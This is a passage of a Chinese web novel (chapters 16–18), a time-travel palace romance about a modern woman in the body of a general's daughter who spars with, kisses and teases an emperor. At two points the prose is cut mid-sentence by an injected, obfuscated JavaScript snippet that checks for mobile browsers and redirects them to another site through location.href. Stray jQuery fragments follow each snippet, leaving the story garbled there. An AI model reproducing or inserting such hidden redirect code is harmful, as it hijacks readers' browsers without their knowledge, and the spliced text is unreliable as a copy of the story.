“爹,你放心,我已经洗心革面了,与那个渣男老死不相往来!再说了,他可还欠着我一记打呢。”提到尧显那个渣男,她火气就猛地涌上来。 一旁的苏承见状,颇为满意地笑道:“如此甚好,如此甚好啊!” 回到将军府,夏星辰看着满桌子的菜肴,她双眼像星星一样闪闪发光。 “哇塞!这么丰盛吗?” 坐在主位位置的苏承看到夏星辰开心的模样,脸上的笑容便也藏不住。 “小夕,快坐下来,你兄长要回来了。” 夏星辰点点头,随即便乖乖坐在椅子上。她一直往门口看去,内心还是无比期待这个哥哥的;毕竟,这个哥哥可是战功赫赫的大将军,自己当时能从冷宫出来还是得以他的军功换的自由身。 听闻,苏承年纪渐长,精力渐衰,便将大将军之位传予了儿子苏风逸。苏风逸当时刚过弱冠之年便已经是骁勇善战的少年将军,自幼受家族耳濡目染,心怀家国;接过父亲的重任后便向皇帝主动请缨,披甲奔赴边疆。 他在沙场之上冲锋陷阵,浴血杀敌,历经数载征战,如今终于大胜凯旋,不负父辈期许与家国重托。 “老将军,将军回来了!” 下人刚通传完,一道挺拔的身影已经大步跨进正厅;来人一身银甲未卸,甲片上还沾着些许风尘与战痕,正是刚从边疆凯旋的将军苏风逸。 他的目光先落在厅中的苏承身上,声音带着沙场磨砺出的沉稳与激动,躬身说道:“爹,儿子不负您的嘱托,终是大胜归来了!” 苏承站起身走了过去,紧握着他的手臂,看向他的眼中满是欣慰与自豪,用力拍了拍他的肩膀:“好小子,爹果然没看错你。” 苏风逸眼一瞥,总算是发现了站在苏承身后的女子,正是他多年未见的妹妹。 方才的温情瞬间散去,语气里尽是难掩的责怪:“你肯回来了?当初不是铁了心的要与苏家恩断义绝吗?身为将军之女,竟然为了一个男子,放下手中的长枪,甘愿为他做一名消磨志气的内宅女子?家里人教你骑马射箭、舞枪弄棒,是盼你走出四方宅院,凭自己的本事活得舒展自由。而你呢,却怕苦怕累,什么也不愿意学,偏偏选择了自甘堕落!” 苏风逸顿了顿,脸上的神情尽是失望:“谁人不知显王殿下那昭然若揭的野心?你因他被困在冷宫的日子,他可对你有过半分关心?你怎么就那么蠢,心悦于这样的一个男子?若不是苏家在边关拼杀挣下的军功替你挡着,就凭你当初帮他做的那档子事,陛下怎会留你性命?你真当自己活到今日,全是运气不成?” 16.你们有一腿啊 被他以这番话教训,夏星辰低下了头;这些事虽然不是她做的,但,她现在也相当于是苏清夕,不得不认下。这苏清夕也是该的,家里人给她铺了一条那么好的路不走,非走邪门歪道。 “对不起,哥哥!我错了。” 夏星辰这诚恳的认错态度,竟让苏风逸反倒是有些不知所措。在他的记忆里,他这个妹妹一向心高气傲,何曾有过这般放低姿态的时候? 苏承见状,轻叹了口气,伸手拉了他的胳膊,开口说道:“好了好了,多大的人了还跟妹妹置气;你妹妹好不容易回来一趟,一家人哪有什么隔夜仇,先好好吃顿饭吧。” 说着,他便推了推苏风逸:“你刚从边关回来,一身铠甲都未来得及卸下,赶紧去后宅换身舒适的衣裳,洗把脸,即刻过来好好吃饭。” “好好好……爹,我自己能走,您莫要再推我了。”苏风逸被苏承一路推到门口,脚步踉跄着开口:“您这是做什么啊?我又不会打她!再者,我是那样的人吗?” 苏承眼见心思被拆穿,脸上掠过一丝尴尬:“她是你妹妹,年纪尚小,有话好好说,别再像之前那般动手动脚。” “我何时对她动手动脚了?” “你看,你果然忘了。”苏承严肃道:“之前是不是你将她踢进湖里的?” “......”苏风逸尴尬笑了笑:“那还不是她大逆不道,要跟将军府绝交,我才会出此下策的啊!” “下策?你这个下策差点将她溺死!”苏承一副恨铁不成钢的模样。 “......”苏风逸语塞。 他们这一番对话,全被夏星辰听了去,她不禁咽了下口水,双脚偷摸着往后退着...... 一想到他一脚将人踢到湖里去,夏星辰就内心发怵——习武之人手劲不知轻重的,万一他突然将她扔出去,就这副身子骨,这不得碎掉? 可她这偷摸的动作,偏偏被苏风逸看在了眼里。他轻轻推开苏承,迈步走到夏星辰面前,俯下身盯着她,唇角勾起一抹笑意:“苏清夕,你怕我?还真是稀奇了。” “哥哥......你有话好好说!” 下一刻,他的双手便搭在了她的肩膀上。夏星辰心头一紧,以为他要动手,猛地抬高声音:“哥哥!我可告诉你啊,你要是把我扔出去,我就咬你,我一定会咬死你的!” “什么?” “奉劝你啊,狂......狂犬病可不是开玩笑的!” 苏风逸闻言一愣,收回了搭在她肩膀上的手,转而将手掌贴在她的额头上:“没发烧啊。难道你在冷宫摔的那一跤,真把自己摔坏了?” 说罢,他转过头看向苏承,语气里满是疑惑:“爹,您确定是从皇宫里将她接回来的?” “当然!”苏承信誓旦旦道:“你爹我还没老到连人都认不清的地步。” 就在这时,夏星辰突然抓住苏风逸放在她额头上的手,眼神无比认真:“哥哥,我真的没事。就是突然想开了而已,我打算洗心革面,做个好人!” 苏风逸猛地抽回手,眼神里满是不可置信:“当真?” “千真万确!”夏星辰用力点头,生怕他不信。 苏风逸盯着她坚定的表情看了半晌,忽然转身走到苏承身边,压低声音道:“爹,抓紧时间找个道士来驱驱邪吧,我怀疑我们家进了什么不干净的东西。” “哎哎哎!我可都听见了啊!”夏星辰叉着腰喊道:“哥哥,你说谁呢?你要给谁驱邪?” 苏风逸没接话,只匆匆地说了句:“我去换身衣裳,着实是饿了。”然后便小跑着离开了这“是非之地”。 片刻后,换了身舒适衣裳的苏风逸走了回来,卸下铠甲的他,脸上多了些世家子弟的沉稳。 他径直走到桌前,在夏星辰身旁落座,抬手将一个雕着花的精致木盒轻轻放在她的碗碟旁,声音轻缓:“哥哥从边关带回来的,看看合不合你心意。” 夏星辰兴奋地拿起木盒子,侧过头看着苏风逸,笑着确认道:“哥哥,这是给我的?” “当然!” “你不怀疑我中邪了?” 苏风逸凑到她脸前,淡淡笑道:“姑且就信你一回!” “你大胆地信我,我绝对是个好人!”夏星辰拍着胸脯说道。 “行了,打开看看吧。” 她开心的打开木盒子,里面正是一支极其奢华的发簪。银制的簪身缠绕着花纹,每一片花瓣都雕刻得栩栩如生,顶端镶嵌的鸽子血红宝石流转着温润的红;她小心翼翼地将发簪取出,指尖触到簪身时,那种兴奋的感觉便越发的强烈。 见她脸上那藏不住的雀跃,苏风逸笑了笑;随即说道:“小夕,这支发簪是精铁混银所铸,平日里能盘发绾髻,遇险时便是护身利器。” 说着,苏风逸便从她手中拿过发簪,他的指尖在发簪中段的花瓣纹路上轻轻一旋,只听“咔”的一声,顺势一拔,那看似毫无奢华装饰的底座下,赫然露出了一截寒光凛冽的尖刃,断面齐整如刀,在光线下泛着冷冽的光泽。 他握住露出尖刃的发簪,原本奢华的发簪瞬间被染上了肃杀之气。 “花瓣的纹路是机关暗扣,拔开便是三寸短刃,足够你应对近身危局。”苏风逸将尖刃藏回发簪之中,便将它放回夏星辰的手中。 夏星辰看着手中的发簪,再联想到刚才看到苏风逸展示发簪的独特之处;便越是觉得这礼物送得真好,至少在她看来,比那狗皇帝送的什么玉佩好多了。 这样想来,她下次若遇到还有人要掐住她脖子,就拿这只发簪刺他;一想到它有这么大的用处,她就越是喜欢,那开心的表情却怎么都藏不住。 “只要你乖乖听话,别跟显王殿下来往,哥哥什么奇珍异宝都给你。” “真的?奇珍异宝?哥哥,你还有宝贝啊?”夏星辰看着他,开心地眨巴着眼睛。 苏风逸慌了,他一个武将,身上最值钱的便是宝剑,哪里还有什么其他宝贝。但最令他疑惑的是,他这妹妹什么时候这般的喜欢奇珍异宝了? “这......哥哥......哥哥想想办法。” 夏星辰一想到自己马上就要变成腰缠万贯的富婆,便压制不住内心的躁动,笑着说道:“哥哥,只要有宝贝,我再也不去找显王殿下了,他算什么玩意儿啊。” 她这般开心雀跃,倒是让苏承父子不明所以了,二人只能目目相觑,满脸疑惑。 苏风逸看向苏承的眼神里仿佛是在问他:“她是什么时候不喜欢的显王殿下?” 苏承似乎是明白了苏风逸的疑惑,他随即摇了摇头,表示自己也不知道这究竟是怎么回事。 既然搞不明白,二人索性就不在乎这事了。 半夜睡不着的夏星辰坐在凉亭看月亮,嘴里还哼着歌。眼睛一瞥,竟然看到书房还亮着灯;苏风逸从书房走了出去之后,一道神秘的身影却悄悄潜入了书房之内。 “我的吗耶,那......那是刺客吗?不会吧,我这哥哥好歹是武功高强的将军,不至于吧。”她瞬间往歪处想去:“难道,有人要杀他?” 夏星辰这样想也没问题,毕竟电视剧上经常演什么暗杀什么的...... 随后,她偷偷溜到书房外,手指沾了点口水后便要将窗户纸捅破,这个行为还没开始实施呢,门却突然被打开。因为惯性,她倒在了那个人的怀里,察觉到可能会有危险,便取下发髻上的发簪,伴随着机关暗扣的打开,她持着锋利的发簪朝着身前之人刺去;这人力气很大,她的手腕被那人牢牢握住,手中的发簪也随之落在那人的手里。 “就你这风吹就倒的身子,竟然还学他人当暗卫?” 她听到这熟悉的声音,抬起头,尧让那张令她又爱又恨的脸出现在她眼前。 此时,二人的距离非常的近;从别的角度看过去,俩人像是在拥抱;不仅是夏星辰反应过来这件事,连尧让也逐渐反应了过来。 夏星辰可不想再冒犯他,到时候又被他说自己殿前失仪。所以,她从他手中将自己的手挣脱了出来,然后身体往后退了两步。 “还我!”夏星辰摊开手。 尧让看着手中露出尖刃的发簪,嘴角勾起一抹饶有兴趣的笑意:“这发簪竟暗藏着利器,好东西啊。” “这是我的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598532|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “朕看看,也不行?” “不行。” “哦?那就归朕了,朕很是喜欢。” 夏星辰走到他身边,想靠自己将发簪夺回来,却因为太大的身高差距而败下阵来;这狗皇帝身高一米九多,而她才一米六左右,即使是她跳起来,也够不着啊。 “陛下,你大半夜不睡觉,溜进将军府做什么?难不成......”夏星辰用一种异样的眼神看着他,仿佛是知道他来到此地的目的。 她这一看,倒是把尧让看慌张了:“难不成什么?” 夏星辰双手揪住他胸前的衣裳,仰头看着他,硬是将身形高大的帝王拽得身体前倾,强迫他与自己对视:“难不成陛下你,喜欢我?” 这还是夏星辰第一次撩拨男人,尧让还没作出什么反应,倒是先把自己搞得慌张无比。 “苏清夕,你还真是好了伤疤忘了疼啊?把你的手拿开!”尧让面无表情道。 “你先把东西还给我!” 二人就这般谁也不愿意妥协半点...... 走回来的苏风逸被眼前自己所看到的画面吓得往后退了退;手里端着的茶盏在托盘上轻轻一晃,滚烫的茶水也溅了出来。喉结紧张地滚动了两下,声音带着些许颤抖:“陛下,妹妹,你们......你们在做什么?” 看着夏星辰仍然揪着尧让衣襟的手,以及俩人近在咫尺的距离,他瞬间不知所措,慌忙低下头:“陛下,臣、臣不是故意闯入的,陛下恕罪,臣这就退下。” 苏风逸这时候才反应过来,自己的妹妹为什么不喜欢尧显了,原来,她是喜欢上了皇帝啊。 “站住!”尧让开口对他说道。随后看着夏星辰,语气冷淡:“朕再说一遍,松开!” 苏风逸的到来,以及尧让脸上那愈发的阴沉神情,夏星辰瞬间察觉到自己玩得过火了,她连忙收回自己的手,往后退了一大步,声音里满是不服气:“对不住,陛下!” 尧让整理了一下自己的衣裳,落坐在书房的一张椅子上。想到刚才夏星辰的举动,他便突发奇想吓唬她:“方才,明妃问朕,大半夜溜进将军府,是不是因为喜欢她?” “我......”夏星辰一时之间不知道该怎么应对,自己的本意只是想挑逗他而已。 一旁的苏风逸坐在椅子上,脸上尽是看一场好戏的轻松神情。 看着他们二人一脸“心知肚明”的神情,夏星辰突然才反应过来。 “我知道了,你们有一腿啊?所以,陛下偷偷溜进将军府,是为了哥哥你啊。” 此话一出,尧让和苏风逸便瞬间不淡定了。 “苏清夕,你再敢胡说八道,朕拔了你的舌头!” “唔”夏星辰慌张的捂住了自己的嘴。 可能是对于尧让对自己算计过自己的事情还耿耿于怀,心里已经有点后怕了,对他自然也是敬而远之。 “那你把我的东西还给我,堂堂帝王,又不缺什么东西。”夏星辰再次提出了这个请求,还将手心朝上。 尧让看了一眼手中的发簪,眼中尽是嫌弃之色,随即便将它丢到夏星辰怀里。 “小夕,你回房歇息吧。”苏风逸看着她说道。 夏星辰点点头,拿着自己的发簪往门口走去。 “不准偷听哦。”苏风逸脸上虽然带着笑意,但是语气却甚是严肃。 “知道了。” 夏星辰朝着他们挥了挥手便头也不回地离开了,走的时候还顺带把门给关上。 书房顿时恢复了原有的宁静,苏风逸从腰间取出一封信递给尧让。 “这是名单。” 尧让从信封里拿出信,眼神游走在每一个字上,嘴角微微勾起的一抹笑意越发的瘆人,甚至还有点超乎意料地震惊之色。 “朕还真是小瞧了他呢,难怪他对这帝位如此胸有成竹呢,倒是藏得够深。” “如今朝堂上,十有六七都是心向显王殿下,就连过去依附于东宫的那些人,也与显王殿下一直来往密切,还有……太后。” 说罢,他缓缓看向尧让,眼帘微垂着,只敢用余光偷偷打量着,眼神是满是斟酌与不安。 17.这个男人太有魅力了 本以为这番话会惹怒龙颜,但很明显,他低估了尧让这位帝王骨子里的那份处变不惊的沉稳气度。 神情依旧平静的尧让,瞬间让苏风逸意识到,眼前的君王依然还是他记忆中的那位桀骜不驯的少年郎;他没有开口询问他现下的局势如何改转,他根本无需问这样的问题,身为君王的尧让心中早已有自己的破局之法,并且从未令他失望过。 索性,他便将话题引到别处去。 “陛下,臣与您虽有少时情谊,但臣,还是多谢陛下留令妹一条性命。”苏风逸双手放于胸前行了一个抱拳礼。 “说到这个,苏清夕近来的变化真是不小啊,这段时间的所作所为,还真是令朕对她刮目相看;如今都敢对朕顶嘴了。” 这是尧让的心里话,原本他是想利用夏星辰,没想到她的一举一动都出乎了他所预料的;以为她这番奇怪之举是与尧显的计谋,但却因他自己的试探差点让她丢了性命。 他到现在都还记得那个劫后余生的可怜人坐在床上看向自己的那双失望的通红眼神;她一遍一遍地质问着他的表情,眼神里对他的失望便又多了几分。 “的确变化巨大,臣甚至怀疑她是否中了什么邪祟!无论臣怎么试探,她表现出来的的确也没有什么可疑之处。” “若换作是在以前,苏清夕这般贪生怕死,怎会为了一个计谋而将性命置之度外?可上次她的反应,倒是让朕觉得是朕狠毒了!”一提到这个,尧让眼神中的疑惑之意竟夹带着些许愧疚。 而这种愧疚感,连他自己都觉得无比的诧异! “但不管怎么说,陛下不杀她的这份恩情,臣记在心中了。” 听到这话,尧让嘴角勾起一抹玩味很重的笑意:“你欠朕的,恐怕是还不清了吧?”他抬眼看向苏风逸,继而笑道:“说到恩情,倒是令朕想起了一件你的糗事,至今都记忆犹新;当年,你哭着跟朕说让朕不要喜欢严家的那位千金,朕前脚答应了你,后脚人家千金喜欢的却是另有其人!” 提到当年这件乌龙之事,二人都没忍住笑了出来。 “都说是糗事了,陛下还提?”苏风逸突然故意抬高声音:“陛下的糗事臣也记得很清楚,想当年,陛下为了品尝一块酥饼,假扮成人家姑娘的意中人,最后竟然发现,人家姑娘喜欢的可就是您啊。” “吓得朕......再也不喜欢吃酥饼了,也不敢再随意贪吃了。” 年少时的一桩桩糗事,使得二人再一次大笑。 “自从陛下登帝后,军中再也没有一个能打得过臣的;眼下陛下好不容易来一趟,臣也手痒得很,不如......比试一番吧?” 话音刚落,苏风逸取下了一把置于书案上的木剑,二话不说便朝着尧让刺去;尧让不知何时已经站起身,顺手拿起了茶桌上的木质托盘挡住了刺来的木剑。 “苏风逸,无论过去多久,你都不是朕的对手!” “陛下,话不可说得太满,当心翻船了。” 两人在书房内缠斗了起来,桌椅被撞得东倒西歪,杯盏碎裂之声夹杂着拳脚相击的闷响在书房内传开,木屑与尘土在混乱中飞扬。片刻后,苏风逸的胸口被尧让狠狠地踢了一脚,接着便是再一脚落到他头上,但这一脚却被他抬起的双手挡住了,他抓住了尧让的脚踝,试图将他扯倒在地上;没想到,尧让只是翻了个身,另外一只脚再次将他踢向了房门口。 木门“哐当”一声崩裂开来,苏风逸随即便滚落到屋外的庭院中。 拳脚相斗声依旧不停,俩人从庭院中央打到了墙角;轻轻一跃,便已都跃到了屋檐之上,脚下的瓦片被踩得咔擦作响,二人在倾斜的屋檐上缠斗不休。 苏风逸脚尖踮着碎瓦腾身跃起,身影在夜色下划出了一道凌厉的弧线,直直地扑向对面的尧让;尧让侧身躲过,脚下的瓦片应声碎裂。 尧让看准时机,猛地旋身出腿,一脚已经朝着苏风逸的头侧踢了过去,后者抬起一手硬生生扛下了这一击,随即力道一泄,脚下顿时失衡,踉跄着向后退去。 随后,苏风逸整个人的身体瞬间失去支撑,向后一仰,便已从屋檐上直直地坠下,重重的砸在下方的石板上,激起一片尘土;而屋檐上的尧让,仍然保持着出腿的姿势,低头看向地面上的身影,笑了笑。 “你输了!” 巨大的声响将离书房近并且已经睡熟的夏星辰吵醒,这一声巨响,吓得她连忙坐起身,然后便跑了过来;随即就看到了这一幕——自己的哥哥被屋檐上的皇帝打了!! “哥哥!”夏星辰跑了过去把他扶起来。 看着苏风逸脸上的伤痕,以及衣裳上布满的尘土;她怒火中烧,便抬起头朝着屋檐上的尧让说道:“陛下!你酱油吃多了闲得你啊,怎么?不打人是不是不能衬托你帝王的气势啊?” 话还未说完,下一刻,自己的嘴便被苏风逸给捂上了。 “陛下,臣......妹妹胡说八道的,您别当真。” 尧让跃下屋檐,走到夏星辰身前,看了苏风逸一眼,示意他把手收回去;苏风逸这才不情不愿地将手收了回来。 “苏清夕,你对朕的意见很大啊?” 夏星辰有些话憋了很久,可能是因为眼前的尧让没有身着那身气场强大的黑金色龙袍,所以帝王的威严暗淡了几分;此刻的她才会将自己内心的不满全说了出来。 “是啊!你不好好在你皇宫里待着,半夜三更不睡觉,跑到将军府来打我哥哥。即便你是皇帝,那你是不是也要讲道理?难不成,你是没事找事的昏君?” “放肆!你竟敢说朕没事找事?” 尧让忽然一吼,吓得身后的苏风逸连忙将夏星辰拉到身后,随即跪了下去:“陛下,臣......” “你闭嘴,让她继续说。” 原本被尧让这么一吼的夏星辰也意识到自己突然上头了。正在考虑要不要也跪下来认错,没想到,这狗皇帝又让她继续说,上次他让她继续说,她便差点丢了性命。 此时她也不知道自己该不该继续说? “朕让你继续!”尧让命令道。 皇帝让她继续,她也只能迫于无奈继续说下去了...... 于是,夏星辰重重地呼了一口气,只是这次的声音明显微弱了些许:“我说的也没错啊,陛下你虽然是天子,但也不能随便打人吧?我哥哥若是做错了什么,好好说话便是,何必将他打成这样?” “苏清夕!朕还是你的夫君呢,朕的衣裳也脏了,朕也被他打了,你作为朕的妻子,不先关心朕吗?堂堂大将军,这点伤,若是大哭小叫当回事,那朕便将这将军之位收回,如何?” 话落,尧让脸上的神情便夹杂了一丝的委屈与无辜。 “我......明显是我哥哥被你打了。而且,陛下这时候想起我是你的妻子,还真是高看我了!皇宫中的贵妃娘娘、以及各宫妃子,不都是你的妻子吗?有好事轮也轮不到我啊;再说了,这些妃子,陛下你若是不喜欢,还有你藏在极咸宫的民间女子呢,她可是未来的皇后,这才是你的正妻!” 夏星辰一鼓作气将所有话都说了出来,完全没考虑到这些话在等级森严的皇权社会下所带来的后果。 此话一出,苏风逸用力拉扯着夏星辰,忽的吼道:“苏清夕,你不要命了吗?自作主张决定后位,你想死吗?跪下!” 看着苏风逸异常严肃的脸,夏星辰真正意识到自己闯下大祸了,她连忙跪了下去。 “既如此,那你这个轮也轮不到的明妃便去死吧,无用之人,留你做什么?给朕添堵的吗?” 夏星辰故技重施,连连磕了几个响头:“陛下,我不能死,我有用的,我......我可以逗你开心啊,你试试呢?觉得不开心的话再杀我也不迟啊。” 在现代屡试不爽的“拍马屁”行为倒是被她用在了尧让这位狗皇帝身上,并且还愈发的熟练。 “好啊,朕倒想看看,你还有些什么手段。”说完,尧让便朝着夏星辰的房间走去。 只留下一脸错愕的苏风逸看着二人离去的背影无奈叹息。 夏星辰把房门关上,在灯光的照耀下,她才看清尧让所说的自己的衣裳也脏了是什么样子的;她一开始的确是将全部的注意力落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608342|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了哥哥苏风逸身上,想到这里,她便后悔了自己说的话好像是重了,也意识到自己是把上次他利用自己,让自己受的委屈一并把邪火发在他身上,这才有了刚才发生的事情。 哎!人若是不能控制自己的情绪,反被情绪拿捏,势必要付出惨烈的代价!接受了新时代的文化思想的她怎么不明白呢? “陛下,我开始了!”夏星辰一脸认真的看着他,也不知道这笑话能否让这狗皇帝心情愉悦,但此时已然是顾不上其他,先安抚好他的情绪再说。 这一脸认真的模样,却让尧让心里慌张了一下,总觉得自己在哪里见过她这副模样。当那段记忆被他想起来之后,他嘴角微微上扬。 “朕先来吧。” “啊?陛下,你先来?你......还会讲笑话啊?会不会有点倒反天罡啊?” 她话刚说完,整个身体已经被尧让一把拉进了怀里,他身上那股独属于帝王的龙涎香,不似寻常香料那般甜腻,让夏星辰一时之间竟陶醉于其中。 与之前在暖阁的宫宴之中龙涎香不同,尧让身上的龙涎香不张扬,而是自带了一种不容忽视的压迫感。 “陛......陛下,你做什么?”夏星辰抬起头看着他,因为距离太近,她明显听到了自己频率加快的心跳声。 此时,他的手正轻轻托着她的后颈,指腹无意识地摩挲着她耳后细腻的皮肤;微微低下头,带着凉意的唇瓣缓慢覆盖上她的唇,没有更为强势的力道,只有极轻的触碰,连呼吸都放得缓慢;唇齿相抵的瞬间,他甚至顿了顿,仿佛在确认她有没有抗拒,确认之后,才敢用更轻的力道加深这个吻。 这个吻带着几分笨拙的珍视,像在弥补之前她所有受过的委屈。 夏星辰像是被他身上的香气迷倒了一般,他吻向她时,双手是本能的想推开他;但却不知道为什么,身体给出的反应却是相反,她的双臂环住他的后脖颈,将自己全然交付于这个拥抱与亲吻之中。 直到他的唇带着余温轻轻离开,对上他的视线后,那缠着他后脖颈的力量也空了下来,随即便缓缓收回了手;时光快得让她来不及细品那份温柔,心口不免泛起一阵失落。 意识到自己竟然萌生出如此“好色”的思想,她连忙侧过头,不再与他对视。 该死!色字头上一把刀啊,一不小心意乱情迷了,怪只能怪这个男人太有魅力了。夏星辰在心里已经暗暗骂自己无数遍好色了。 在她沉浸在自己沉迷于尧让的美色之中时,却没发现尧让那因害羞而涨红的脸,那抹红甚至已经蔓延到了双耳上。 “陛下,我这都牺牲色相了,算......算抵掉我刚才说的那些混账话了吧。” “色相?朕以为你又要像之前那般冒犯朕,所以,朕便先发制人,不好吗?” “这......先发制人这四个字是这样用的?”夏星辰总觉得自己被尧让摆了一道。 尧让就这般低着头看着怀里的她,随即便轻笑了一声:“苏清夕,从此刻起,你竖起耳朵给朕听好了。朕最是厌恶一再试探朕底线之人,你几次三番冒犯朕,一开始是觉得你有利用价值,如今却觉得你过于嚣张;若再有下次,朕宁可杀了你,也不会考虑将你这只会咬人的兔子留在身边,听懂了便点头。” 夏星辰乖乖点点头:“听懂了!整个天下都是陛下您的,我哪敢说不啊。” “起来吧,还打算留在朕怀里多久?” “明明是你将我拉进怀里的,怎么说得好像是我主动投怀送抱似的。”夏星辰边站起身边抱怨。 “哦?那你是觉得你吃亏了?” 经历了刚才的那一遭,她断然是不会让自己再那般的口无遮拦,微微摇摇头:“不吃亏,能被长得这么好看的陛下亲嘴,怎么算吃亏呢。” 夏星辰以为她这般“露骨”的将刚才发生的事情说出来,作为封建保守的古代人尧让会害羞脸红,没想到,他的神情平静如水,看不出来一丝羞涩。 但夏星辰偏偏就不信了,一个古代人竟会有如此高的自制力?难不成,是因为原主苏清夕这种美人入不了他的眼? 18.你还是个处男啊 “陛下,已经很晚了,不然你就在这里歇息了吧!”夏星辰露出了一个甜美的笑容。 “不......不必了。” “陛下,你怕什么?你说的啊,我是你的妻子,一起睡觉有什么不妥?” 这话一传入尧让的耳朵里,他脸上的神情依然甚是平静:“行啊,你把衣裳解了!” “解衣裳的话,那陛下日后可不能再动不动便要取我性命了啊!” “行!”尧让似笑非笑地看着她。 “说好了,九五至尊是不能说话不算话的啊,你可不能像上次那般对待我,可好?”夏星辰睁着大眼睛看着他,等着他的答案。 尧让微微点点头:“好,不会了。” 得到他的允诺后,夏星辰便抬起手解开自己的衣裳。随着身上一件又一件的衣裳解下来,直至身上只剩下一件单薄的里衣,在她要将它解下时,却被一道声音给阻止了。 “够了!” “陛下,怎么了?你害羞啊?” 尧让压制住自己的慌乱,侧过头道:“朕实在是看不下了,你的身材太差劲了!” “什么?”听到这话的夏星辰直接炸毛:“我的身材差?你有在认真看吗?我这前凸后翘,你竟然说差劲?来来来,你转过头,给我认真看!” “苏清夕,你过分自信了!”他说这话时,头依旧没有转回来。 说真的,要不是因为眼前的尧让是皇帝,她恨不得一棒子直接打死他!长了张嘴不会说话的乌龟王八蛋!虽然苏清夕算不上那种顶好的身材,但放眼整个后宫,她的身材和美貌算得上数一数二了。 这狗皇帝什么眼光!可他失策了,眼前的夏星辰最擅长的便是将聊天给聊死...... “陛下,实话跟你说,在汤池的那次意外,你的太小了,手感也不咋地......”说着,夏星辰的目光落在了他的某处,还露出了嫌弃的表情。 “你......” 尧让冷笑出声,他真是拿眼前这个女子一点办法都没有,说他是昏君、暴君,现在又这般嫌弃自己;明明自己可以直接杀了她,非要留着她令自己不悦。 这一刻,他有点猜不透自己的心思了。 “苏清夕,你还真是嫌自己命长啊,皇家名声对你来说,当真是一点都不重要吗?” “那还不是你说的我先?” 看她这般嘴硬不服输的模样,尧让冷笑出声:“行啊,既然你这般能说会道,那朕就将你舌头拔了,省得令朕不悦。” “别别别,怎么还动手了呢?”说着,夏星辰在胸前比划了一个爱心手势,笑着说道:“开玩笑的陛下,你大,你很大!” “苏清夕!你真是越发肆意妄为!难道,连规矩分寸还要朕教你不成?若宫中妃子都像你这般不知进退,失了规矩,成何体统!” 尧让对她这套比划爱心、刻意讨好这套完全不受用,语气里依然夹杂着冷漠。 知道已经不能随意再对他开玩笑,夏星辰只能乖乖地应了下来:“哦,知道了,下次不会了。” 自己好几次这样顶撞他,这位狗皇帝的确是对自己够大度了;至少自己没有像电视剧上的那些穿越者那样,被历史的进程不断推动着,没有一点还手的能力;这么一想,算幸运的了。 “朕希望你这次别再是敷衍!” “保证是发自内心,绝不是敷衍!”夏星辰做了一个发誓的手势。 趁着狗皇帝眼下有与自己独处的时间,夏星辰坐在他身边的椅子上,小心翼翼地问了一个比较敏感的问题,也算是满足了自己那颗八卦的心。 “陛下,臣妾能问你一个问题吗?” 尧让侧过头看着她,微微点点头。 “臣妾能理解每一个帝王都有后宫佳丽三千,毕竟是天子嘛,怎么能与寻常男子一般一夫一妻,对吧?” “你究竟想问什么?” “陛下,你的喜欢能够分给那么多人,是不是因为没有你特别喜欢的,所以你才不立后啊?” 夏星辰的这个问题纯粹是自己感兴趣,毕竟无论是自己看的电视剧还是小说,皇帝基本都是后宫佳丽三千,然后就是各宫妃子都在日常互掐,就为了博得皇帝的欢心,一辈子都在这深宫之中争斗,这一争,便是一辈子。 而尧让这狗皇帝却是一身反骨,后宫的妃子那么多,可他‘雨露均沾’,谁也没有入他的眼,平等地不宠爱任何一个;自然而然,后宫妃子的斗争便失去了意义。 尧让嘴角上扬,目光落在她脸上时还带着几分试探之意:“朕的事情,你也要一一过问?朕想立谁为后,你倒是比朕都还要上心啊?还是说,你这般追问,是想试探自己有没有为后的可能?” “陛下,你想多了,臣妾纯粹就是好奇而已,臣妾可没有想过成为什么皇后,‘欲戴皇冠,必承其重’这个道理臣妾还是懂得的!再说了,陛下,你能将极咸宫的那女子保护得那么好,宫里的嫔妃怕是进那极咸宫都极其的困难。试问,又有哪个妃子能撼动她在陛下你心里的分量呢?” 夏星辰那日只是第一次见到那位民间女子,心里便已经知晓,皇帝都一个德性;吃着碗里的,又惦记锅里的;对于帝王来说,一生只爱一个人,太难了! “那你问朕这个问题,会显得你很不明事理。” “不明事理?陛下你认为一夫一妻叫不明事理?” 看着尧让的脸色黑了下来,她连忙笑了笑,开口说道:“陛下你别生气啊,只是聊聊天而已,你别当真啊。” “苏清夕,你给朕听好了,朕从未说过要立谁为后,别仅凭你自己的猜测而对朕妄下定论;你替嫔妃喊冤,那谁替朕喊冤啊?宫里的嫔妃,包括你这个明妃,全是太后安排的,与朕有何关系?” 似乎是想到了什么令她好奇的事情,她凑到尧让耳边,小声地说道:“哦~陛下,这么说的话,你还是个处男啊。” 夏星辰说这话时一点都没有觉得羞涩与尴尬,这种事对于新时代的人来说,朋友之间聊起都是家常便饭。 但对于古代的老祖宗来说,就不一定了。 听到这个话的尧让忽的站起身,耳根瞬间红透了,话语之间还显得特别慌张:“你......你一个姑娘家,怎可如此不知羞耻地问朕这个问题?你的规矩教养呢?” “陛下,这与规矩教养有什么关系啊?没吃过猪肉,也见过猪跑啊。” “你在说什么?与猪有什么关系?” 知道他听不懂现代的话,夏星辰挤出了一个善意的笑容:“与猪没什么太大的关系,就一个比喻而已。” 